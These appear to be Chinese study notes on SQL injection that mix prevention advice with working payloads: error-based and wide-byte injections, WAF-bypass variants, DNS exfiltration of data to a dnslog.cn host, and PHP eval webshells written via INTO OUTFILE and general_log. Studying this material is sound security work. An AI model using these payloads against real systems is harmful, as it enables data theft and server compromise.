SQL注入原理
SQL注入就是在人为可以构造参数的地方加入一些非法敏感语句,绕过后端的处理,并带入到数据库中执行,然后返回敏感数据的过程。
如何预防:
- 使用参数化查询:将用户输入的数据作为“参数”传递,而非直接拼接到SQL语句中
- 输入验证和过滤
- 最小权限原则:用户应该被授予最小必需的权限,只能访问和执行所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。
SQL注入思路
-
判断注入点
在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。 -
判断数据库类型
-
判断参数数据类型
-
判断数据库语句过滤情况
-
尝试绕过过滤
-
根据注入情况使用注入方式
过滤逗号的SQL注入如何绕过
- 对于substr()和mid()这两个方法可以使用from to的方式来解决。
select substr(database() from 1 for 1);
select mid(database() from 1 for 1); - 对于limit可以使用offset来绕过
select * from news limit 0,1
#等价于下面这条SQL语句
select * from yang limit 1 offset 0
防止SQL注入方式
Java项目
- PreparedStatement防止SQL注入
delete from table1 where id = ?
此时SQL语句结构已固定,无论"?"被替换为任何参数,SQL语句只认为where后面只有一个条件,当再传入 1001 or 1 = 1时,语句会报错,从而达到防止SQL注入效果。 - mybatis中#{}防止SQL注入
mybatis中#{}表达式对SQL语句进行 预编译 处理
SQL预编译后,占位符表示的内容被视为参数的一部分,而不是SQL的一部分 - 对请求参数的敏感词汇进行过滤
php项目
- 使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符;
- 打开magic_quotes_gpc来防止SQL注入;如果magic_quotes_gpc=Off,则使用addslashes()函数。
- 通过自定义函数防sql注入。
sql注入类型
- 联合查询:联合注入是需要页面有回显位。
字符型、数字型 - 盲注:数据 不显示只有对错页面显示
length(),ascii() ,substr()
substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。
ascii()是将截取的字符转换成对应的ascii吗 - 时间
if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。 - 报错:基于SQL语句错误反馈进行注入
extractvalue()报错注入,updatexml()报错注入和group by()报错注入
1’ and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
123’ and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123’ and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库 - 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入
- 预处理+数据绑定
- 无论输入来自用户还是存储,在进入到 SQL 查询前都对其进行过滤、转义
- 堆叠注入:存在mysqli_multi_query函数,该函数支持多条sql语句同时进行
- 宽字节
成因:数据库使用GBK编码时,%bf%5c会被解析为汉字“縗”,导致单引号逃逸。
修复:统一使用UTF-8编码,并在PHP中设置mysql_set_charset(‘utf8’)。
%df’=>%df’(单引号会被加上转义字符\)
%df’=>%df%5c’(\的十六进制为%5c)
%df%5c’=>縗’(GBK编码时会认为这时一个宽字节)
?id=-1%df%27%20union%20select%201,database(),3%20–+
DNS外带无回显SQL注入
- http://www.dnslog.cn生成域名
- 用到load_file()函数的,它需要当前数据库用户有读权限,并且需要设置secure_file_priv
- 前端没有回显,只输出了语句,此时直接去看平台。
- payload如下
admin" union select load_file(concat('\\\\',(select hex(database())),'.g5ucgd.dnslog.cn\\test'))#
有哪些SQL语句无法使用预编译的方式
- 表名或列名属于SQL结构的一部分,不能在预编译中用参数(?)替代。
由于users属于标识符,所以下列是错误的
-- 错误示例(无法预编译)
String sql = "SELECT * FROM ? WHERE id = 1"; -- 表名不能参数化
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, "users"); -- 实际执行时会变成 SELECT * FROM 'users' WHERE id=1(语法错误)
- 若排序的列名或方向(ASC/DESC)需动态指定,预编译参数会被视为值而非标识符。
DESC是标识符,所以错误
-- 错误示例(预编译无效)
String sql = "SELECT * FROM users ORDER BY ? ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, "name"); -- 替换为 ORDER BY 'name'
stmt.setString(2, "DESC"); -- 替换为 'DESC'(语法错误)
- 预编译需固定参数数量,但IN列表长度可能动态变化。
-- 错误示例(无法预编译动态数量的参数)
String[] ids = {"1", "2", "3"};
String sql = "SELECT * FROM users WHERE id IN (?)";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, String.join(",", ids)); -- 替换为 IN ('1,2,3')(逻辑错误)
- DDL(如CREATE TABLE、ALTER TABLE)通常包含动态标识符(表名、列类型)。
|场景| 合法写入 |非法写入|
|表名(标识符)|SELECT * FROM users|SELECT * FROM ‘users’;|
| 字符串值 | SELECT * FROM t WHERE name = ‘users’; | SELECT * FROM t WHERE name = users;|
SQL如何绕过WAF
- 双写绕过
unionunion +selectselect - 等号like绕过
- order by绕过
使用into变量名代替 - and/or绕过
替代字符:and 等于&&、or 等于 ||、not 等于 !、xor 等于| - union select 绕过
uNIoN sel<>ect # 程序过滤<>为空 脚本处理
uNi//on sele//ct # 程序过滤//为空
uNIoN /!%53eLEct/ # url 编码与内联注释
uNIoN se%0blect # 使用空格绕过
uNIoN sele%ct # 使用百分号绕过
uNIoN %53eLEct # 编码绕过
uNIoN sELecT 1,2 #大小写绕过
uNIoN all select 1,2 # ALL绕过
uNIoN DISTINCT select 1,2 # 去重复DISTINCT 绕过
null+UNION+SELECT+1,2 # 加号代替空格绕过
/!union//!select/1,2 # 内联注释绕过
/!50000union//!50000select/1,2 # 内联注释绕过
uNIoN//select/**/1,2 # 注释代替空格绕过 - 大小写绕过
对关键词设置为大小写即可 - 逗号绕过
substr(database(),1,1)—> substr(database() from 1 for 1) ;
limit 0,1 —> limit 1 offset 0 - 等函数替换
substr()函数被拦截,就可以使用mid函数;报错注入的updatexml()用polygon()函数替换 - 浮点数绕过
通过浮点数的形式从而绕过。
id=1 union select —> id=1.0union select —> id=1E0union select - ascii编码绕过
对截取的字符拦截,可以使用ascii编码对比进行绕过 - base64编码绕过
可以将注入的语句进行base64编码进行绕过 - 空格字符绕过
%20=%a0=%09=%0a=0b=%0c=%0d=+ - 引号字符绕过
若单引号被拦截,则使用双引号,若都被拦截,就尝试使用hex六进制编码,也可以考虑宽字节注入绕过 - 参数污染
php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。 - 注释绕过
内联注释:是Mysql为了保持与其他数据的兼容,将Mysql中特有的语句放在/!/中这些语句在不兼容的数据库中不执行,而在Mysql自身却能识别执行。例如:/!50001/表示数据库版本>=5.00.01时,/!50001 中间的语句才能被执行 / - 脏数据溢出绕过
数据太多超过waf检测范围,然后造成绕过,前面填垃圾数据后面填要注入的SQL语句,如果是GET传参,参数值超过GET所能运行的长度可能无法利用,所以最好是POST传参(前提是对方支持POST传参) - 参数拆分绕过
配合多个参数的传参,将注入的内容拼接到同一条 SQL 语句中,可以将注入语句分割插入绕过waf拦截。
SQL注入
单引号被过滤
攻击方账号输入 1\,密码输入or 1=1 --+ ,最后拼接出来的语句是select * from xxx where id=‘1’ and pwd=‘or 1=1–+’ 其中\将’转义,id的值就变为(1’ and pw=),后边跟一个or 1=1返回的逻辑为true就可以进行SQL注入了。
mysql不知道列名怎么爆字段?
查询information_schema表。
这个表无权访问怎么办?
利用union查询,进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错,例如:Select 1,2,3 union select * from xxx; (xxx表有三列),结果为三列。
mysql报错注入常用的函数及原理?
- XML类
extractvalue() 对xml文档查询,报错原理与updatexml相同
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) 对xml文档修改
concat返回的路径不符合Xpath格式,所以报XPATH syntax error的错 - floor()+rand()+group by
向下取整
select count(*),(concat(floor(rand(0)*2),(select version())))x from table1 group by x;
group by会产生虚拟表,floor(rand(0)*2)产生0或1,导致虚拟表主键重复,产生报错 - exp() 溢出
id=1 and exp(~(select * from(select user())a)),利用exp溢出、取反~、子查询。
通过sql注入写webshell的几种方式?
- 利用Union select 写入
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
- 利用分隔符写入
当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
同样的技巧,一共有四种形式:
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
- 利用log写入
具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' #写入shell
set global general_log=off; #关闭general log模式